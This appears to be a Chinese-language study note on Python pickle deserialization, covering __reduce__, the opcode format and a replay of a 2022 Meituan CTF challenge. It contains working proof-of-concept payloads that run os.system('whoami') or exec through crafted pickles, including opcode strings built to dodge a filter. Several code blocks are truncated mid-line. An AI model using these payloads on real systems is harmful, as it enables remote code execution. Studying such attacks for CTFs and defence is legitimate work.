pickle反序列化
##pickle反序列化语法
###可序列化的对象
None
,True
,False
- 整数、浮点数、复数
- str、byte、bytearray
- 只包含可封存的对象的集合,包括tuple、list、set、dict
- 定义在模块最外层的函数(使用def定义,lambda函数则不可以)
- 定义在模块最外层的内置函数
- 定义在模块最外层的类
__dict__
属性值或__getstate__()
函数的返回值可以被序列化的类
###object.__reduce__()
函数object.__reduce__()
返回一个(callable,([para1,para2....])[,...])
的元组,在unpickle时,就会将callable作为函数并执行para1参数- 在下文pickle的opcode中,
R
的作用与object.__reduce__()
关系密切,选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。包含该函数的对象被pickle序列化时,得到的字符串是包含R
的
###opcode版本
- pickle有不同的实现版本,在py2和py3中得到的opcode不同,但是pickle可以向下兼容。目前,pickle有6种版本输出:
import pickle
a={'1':1,'2':2}
print(f'# 原变量:{a!r}')
for i in range(4):
print(f'pickle版本{i}',pickle.dumps(a,protocol=i))以上为不同版本的opcode形式# 原变量:{'1': 1, '2': 2}
pickle版本0 b'(dp0\nV1\np1\nI1\nsV2\np2\nI2\ns.'
pickle版本1 b'}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本2 b'\x80\x02}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本3 b'\x80\x03}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
###pickletools
通过pickletools可以将opcode转化为容易读取的形式
###如何使用手写opcode
####使用pickle序列化编写简单的exp
#####成功命令执行import pickle
import os
class testpoc(object):
def __reduce__(self):
s="whoami"
return os.system,(s,)
exp= testpoc()
poc=pickle.dumps(exp)
print(poc)
pickle.loads(poc)
值得注意的是这里的返回值,需要满足reduce的使用方式,第一次参数为执行的函数,第二参数需要为元组,里面的内容为执行的参数
#####实现变量覆盖这里有必要熟悉一下exec这个函数import pickle
key1 = b'321'
key2 = b'123'
class A(object):
def __reduce__(self):
return (exec,("key1=b'1'\nkey2=b'2'",))
a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key1, key2)exec
:exec obj.exec 执行储存在字符串或文件中的Python语句,相比于 eval,exec可以执行更复杂的 Python 代码。
####手写opcode
#####pickle过程详细解读
1.pickle依靠pvm进行,涉及解析引擎、栈、内存
2.解析引擎从流中读取opcode和参数,并对齐进行解释,遇到.
的时候停止,最终留在栈定的值会被作为反序列化对象返回
3.memo:由python的dict实现,将反序列化完成的数据以key-value
的形式存储在memo中
#####opcode操作集合
具体的就看这里的表格:https://xz.aliyun.com/t/7436
编写时需要注意
- 了解栈中数据的变化,正确使用opcode
- 与python本身的操作对照,比如append对应a,exten对应e
- c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库。
- pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattr、dict.get)才能进行。但是因为存在s、u、b操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有c、i。而如何查值也是CTF的一个重要考点。
- s、u、b操作符可以构造并赋值原来没有的属性、键值对。
以上为粘贴复制内容,还不太理解~
拼接opcode:
将第一个pickle流结尾表示结束的.
去掉
import opcode |
这里来解析一下这个opcode
1.c__main__\nsecret\n:使用c操作符,引入当前main模块,并且获取secret对象
2.S:实例化一个字符串对象
3.(:向栈中压入一个MARK标记
4.d:寻找栈中的上一个MARK,并组合之间的数据为字典(因此必须要偶数个,呈key-value对)
5.b:使用栈中的第一个元素(存储属性值也有属性名的字典),对第二个元素进行属性设置
#####与函数执行相关的opcode:R
、i
、o
R
:
poc=b"""cos |
c引入os模块,获取其system函数,mark标记whoami参数,使用t操作符将whoami转化为元组,因为r操作符的对象是元组i
:
i操作符相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
具体写法:i[module]\n[callable]\n
poc=b'''(S'whoami' |
跟着这个打印结果,可以解析一下:组合了whoami为一个元组作为获取到的system这个函数的参数o
:
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
poc=b'''(cos |
##实战
###pker工具使用
部分语法:
以下module都可以是包含`.`的子module |
####2022美团ctf复现
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") |
前面就是session的伪造操作,关键的pickle反序列化代码在这个位置
可以看到,他将builtin和os等内容都过滤了,并且将我们需要的Roib字符也过滤了,
首先从代码逻辑层面研究
他会将os替换为Os,此时如果最后的操作符输入,而在pickle中,有一个点很关键就是,opcode在执行过程中,遇到语法错误就会停止执行,但是在之前入过语法是正确的,则会照常执行
这其实很符合python的风格,python也是一直执行直到出现语法错误为止。
payload:
poc=b"""(cos |
可以看到,即使最后跑出了error,但是依旧执行命令了
#####解法二
这种解法更考察对pickle反序列化的理解了
https://chowdera.com/2022/263/202209200043416482.html